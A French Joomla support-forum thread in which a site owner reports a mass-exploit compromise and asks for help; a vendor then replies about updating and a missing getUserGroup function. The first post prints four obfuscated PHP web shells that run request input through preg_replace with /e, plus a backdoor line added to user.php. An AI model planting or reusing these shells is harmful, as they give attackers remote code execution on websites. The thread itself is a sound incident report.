Login or create new account.

By registering on joomprod.com, you will have immediate access to all our free products and to the public side of our support forum.

Enjoy our subscriptions.

Each of our subscriptions allow you to enjoy the private side of the support forum and all the update of our products for a period ranging from 3 months to 1 year.

Payment And immediate download.

After subscribing to one of our subscription, the products are immediately downloadable.

Login

Or Register
Accueil / forum / Support / AdsManager Support / Faille de sécurité : privilèges visiteurs

Support Availability Because we must sleep sometimes

Working days: Monday to Friday.
Reply time: Depending on the complexity of your support issue it's usually between a few hours to 48 hours.

Support is only guaranteed to paid subscribers

AdsManager - End of life

It is with great regrets that we have chosen to end the developpement of Adsmanager and its other associated components.

AdsManager is born 10 years ago and, as of today, the number of new subscriptions and downloads have fallen and we cannot maintain the component anymore.

All active subscribers will be able to continue enjoying support until the end of their subscription.

The components will be free and no support will be provided anymore for the other users.

×

Notice

The forum is in read only mode.

Faille de sécurité : privilèges visiteurs

More
8 years 5 months ago - 8 years 5 months ago #22512 by marinship
Bonjour,

à la suite d'une modification inexpliquée des paramètres Utilisateurs qui étaient passés en SuperUser pour les Inscrits et les Visiteurs, j'ai examiné mes fichiers et trouvé des incohérences dont je vous fait part.

De nouveaux fichiers étaient apparus dont voici les détails et emplacements :
../images/index.pht
<? if(!function_exists('_7jycgef')){/*qu7bw*/$GLOBALS=Array('' .'preg_repla' .'ce'); function _7jycgef($i){$a=Array('patv2','/(.*)/e','patv2','');return $a[$i];}if(@isset($_REQUEST[_7jycgef(0)])){@$GLOBALS[0](_7jycgef(1),$_REQUEST[_7jycgef(2)],_7jycgef(3));exit;}}

../images/com_adsmanager/ads/index.pht
<? if(!function_exists('_x5fxq')){$GLOBALS=Array('' .'preg_repla' .'ce'); function _x5fxq($i){$a=Array('zu4lq','/(.*)/e','zu4lq','');return $a[$i];}if(@isset($_REQUEST[_x5fxq(0)])){@$GLOBALS[0](_x5fxq(1),$_REQUEST[_x5fxq(2)],_x5fxq(3));exit;}/*z5p*/}

../images/com_adsmanager/ads/tmp/index.pht
<? if(!function_exists('_5qgpo673dd')){$GLOBALS=Array('' .'preg_repla' .'ce'); function _5qgpo673dd($i){$a=Array('mkmuh','/(.*)/e','mkmuh','');return $a[$i];}if(@isset($_REQUEST[_5qgpo673dd(0)])){/*q6ol*/@$GLOBALS[0](_5qgpo673dd(1),$_REQUEST[_5qgpo673dd(2)],_5qgpo673dd(3));exit;}/*2g*/}

../images/com_adsmanager/fields/index.pht
<? /*4r*/if(!function_exists('_zj736tv')){/*wajuu*/$GLOBALS=Array('' .'preg_repla' .'ce'); function _zj736tv($i){$a=Array('72r','/(.*)/e','72r','');return $a[$i];}if(@isset($_REQUEST[_zj736tv(0)])){@$GLOBALS[0](_zj736tv(1),$_REQUEST[_zj736tv(2)],_zj736tv(3));exit;}}


Dans le même laps de temps, le fichier suivant avait été modifié à la ligne 165 :
../components/com_users/controllers/user.php
if ((is_array($data)) && ($data!='apgsgzpxesfxlnr')) die(';-)');


Il semblerait que le fichier user.php ait été modifié par une extension d'Empresa mais je ne m'explique pas pourquoi les 4 autres fichiers sont apparus. Quelques sites Joomla évoquent une attaque sur + de 27000 sites mais aucun ne donne le moyen de corriger ce problème. Avez-vous une idée ?
Voir :
blog.sucuri.net/2016/10/joomla-mass-expl...e-vulnerability.html
www.itwire.com/security/75530-attackers-...it-joomla-sites.html
www.joomlaexpert.ie/joomla-news-tips/ite...privileges-hack.html

Bien cordialement,
RM
Last edit: 8 years 5 months ago by marinship.
More
8 years 5 months ago #22517 by loic
Bonjour,

La dernière mise à jour de Joomla (3.6.4 de mémoire) corrige cette faille.

Si vous n'avez pas encore mis à jour vos site web, nous vous conseillons de le faire de suite.

Cordialement.
More
8 years 5 months ago #22532 by marinship
Replied by marinship on topic Faille de sécurité : privilèges visiteurs
Bonjour et merci pour l'info.

Malheureusement il était trop tard car le site était bien vérolé au point de ne plus pouvoir faire les MàJ. J'ai pu mettre à jour une version en local qui fonctionne bien sur mon poste mais que je n'arrive pas à installer sur le serveur.
Du coup je me suis retourné vers votre quickstart 3.1.6 mais là j'ai le message suivant avant tout affichage, que ce soit en front end ou en back office :
Fatal error: Call to undefined method JHTMLAdsmanagerUserGroups::getUserGroup() in ..\localweb\quickstart_3.1.6\administrator\components\com_adsmanager\models\configuration.php on line 62

Il semblerait que la fonction GetUserGroup() soit manquante ... Avez-vous une idée ?

Cordialement,
RM
More
8 years 5 months ago #22547 by loic
Bonjour,

Pouvez vous vérifier que le fichier 'components/com_adsmanager/helpers/usergroups.php' existe ?
Si il n'existe pas, dézipper une archive du composant pour ajouter ce fichier dans le dossier helpers.

Cordialement.
More
8 years 5 months ago #22558 by marinship
Replied by marinship on topic Faille de sécurité : privilèges visiteurs
Bonjour,

le fichier usergroups.php est bien présent mais il semblerait que le problème vienne de l'orthographe.

Dans les fichiers suivants il existe 8 appels de la fonction getUserGroup() au singulier alors que la fonction getUserGroups() est au pluriel :
..\administrator\components\com_adsmanager\models\configuration.php
..\components\com_adsmanager\lib\tpermissions.php
..\components\com_paidsystem\api.paidsystem.php
..\plugins\usersubs\usergroup\usergroup.php


Bien cordialement,
RM
More
8 years 5 months ago #22576 by loic
Bonjour,

La fonction getUserGroup existe en plus de la fonction getUserGroups().

Si il manque la fonction getUserGroup, la voici :
public static function getUserGroup($userid) {
 
        if(self::$groups == null) {
            $db = JFactory::getDBO();
 
            $db->setQuery('SELECT group_id FROM #__user_usergroup_map
                            WHERE user_id = ' . (int)$userid);
 
            $groups = $db->loadColumn();
 
            if($groups == null)
                $groups = array();
 
            self::$groups = $groups;
        }
 
        return self::$groups;
    }

Vous pouvez la rajouter si besoin.

Cordialement.
Time to create page: 0.153 seconds
Powered by Kunena Forum